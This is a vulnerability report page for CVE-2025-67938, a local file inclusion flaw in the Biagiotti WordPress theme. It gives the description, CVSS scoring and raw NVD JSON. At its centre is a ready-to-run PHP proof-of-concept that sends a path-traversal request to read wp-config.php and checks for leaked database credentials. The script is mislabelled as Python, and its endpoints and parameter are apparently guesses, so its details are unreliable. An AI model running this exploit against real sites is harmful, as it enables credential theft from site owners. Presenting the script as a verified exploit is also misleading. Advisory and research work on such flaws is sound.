Security Vulnerability Report
中文
CVE-2025-67938 CVSS 8.1 HIGH

CVE-2025-67938

Published: 2026-01-22 17:16:03
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Biagiotti biagiotti allows PHP Local File Inclusion.This issue affects Biagiotti: from n/a through < 3.5.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Biagiotti主题所有版本 < 3.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-67938 PoC - Biagiotti Theme Local File Inclusion * Target: Mikado-Themes Biagiotti WordPress Theme < 3.5.2 * Type: Local File Inclusion (LFI) * * Usage: Modify TARGET_URL and run with PHP CLI * php cve-2025-67938-poc.php */ $targetUrl = 'http://target-site.com'; $targetPath = '/path/to/biagiotti/theme'; // Common vulnerable parameters - adjust based on actual target $vulnerableEndpoints = [ '/wp-content/themes/biagiotti/includes/shortcodes/elementor-template.php', '/wp-content/themes/biagiotti/framework/modules/header/lib/header-behavior.php', '/wp-content/themes/biagiotti/framework/modules/sidearea/sidearea.php' ]; // Payload to read wp-config.php via path traversal $lfiPayload = '../../../../wp-config.php'; $encodedPayload = urlencode($lfiPayload); // Example PoC request $exampleUrl = $targetUrl . $vulnerableEndpoints[0] . '?file=' . $encodedPayload; echo "[*] CVE-2025-67938 PoC - Biagiotti Theme LFI\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] Payload: {$lfiPayload}\n"; echo "[*] Request URL: {$exampleUrl}\n\n"; // Read wp-config.php content $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exampleUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && strpos($response, 'DB_NAME') !== false) { echo "[+] Success! wp-config.php content leaked\n"; echo "[+] This contains database credentials and security keys\n"; } else { echo "[-] Target may not be vulnerable or parameter differs\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67938", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:02.587", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Biagiotti biagiotti allows PHP Local File Inclusion.This issue affects Biagiotti: from n/a through < 3.5.2."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración include/require en programa PHP ('Inclusión remota de ficheros PHP') vulnerabilidad en Mikado-Themes Biagiotti biagiotti permite la inclusión local de ficheros PHP. Este problema afecta a Biagiotti: desde n/a hasta &lt; 3.5.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/biagiotti/vulnerability/wordpress-biagiotti-theme-3-5-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}